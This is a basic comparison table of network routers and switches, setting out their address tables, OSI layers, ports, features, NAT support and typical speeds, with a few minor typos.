Difference Between Router and Switch

Specification	Router	Switch
Table:	Store IP address in Routing table and maintain address at its own.	Store MAC address in lockup table and maintain address at its own
Address used for data transmission:	Uses IP address	Uses MAC address
Data Transmission form:	Packet	Frame (L2 Switch) Frame & Packet (L3 switch)
Transmission Type:	At Initial Level Broadcast then Uni-cast & Multicast	At Initial Level Broadcast then Uni-cast & Multicast
Technical Specifications:	Routers operate at Layer 3 (Network) of the OSI model.	Network switches operate at layer two (Data Link Layer) of the OSI model.
Transmission Mode:	Full duplex	Full duplex
Device Category:	Intelligent Device	Intelligent Device
Device Type:	inter networking device	networking device
Layer:	Network Layer	Data Link Layer Network Layer
Ports:	2/4/8/	8/16/24/48
Used for:	Connecting Two or more networks.	Connecting two or more nodes.
Features:	Firewall VPN Dynamic handling of Bandwidth	Priority rt range On/Off setting of port VLAN Port mirroring
Faster:	In a different network environment (MAN/ WAN) Router is faster than L3 Switch.	In a LAN environment L3 switch is faster than Router (built in switching hardware)
NAT (Network Address Translation):	Can Perform NAT	Switches can Not perform NAT
Routing Decision:	Take faster Routing Decision	Take more time for complicated routing Decision
Collision:	Less	Less
Bandwidth sharing:	Bandwidth sharing is Dynamic (Enables either static or dynamic bandwidth sharing for modular cable interfaces. The default percent-value is 0. The percent-value range is 1-96.)	If speed of switch is 10/100 Mbps then bandwidth of each and every one of its ports gets 10/100 Mbps.
Speed:	1-10 Mbps(Wireless) 100 Mbps (Wired)	10/100Mbps, 1Gbps
Speed:	LAN . WAN	LAN
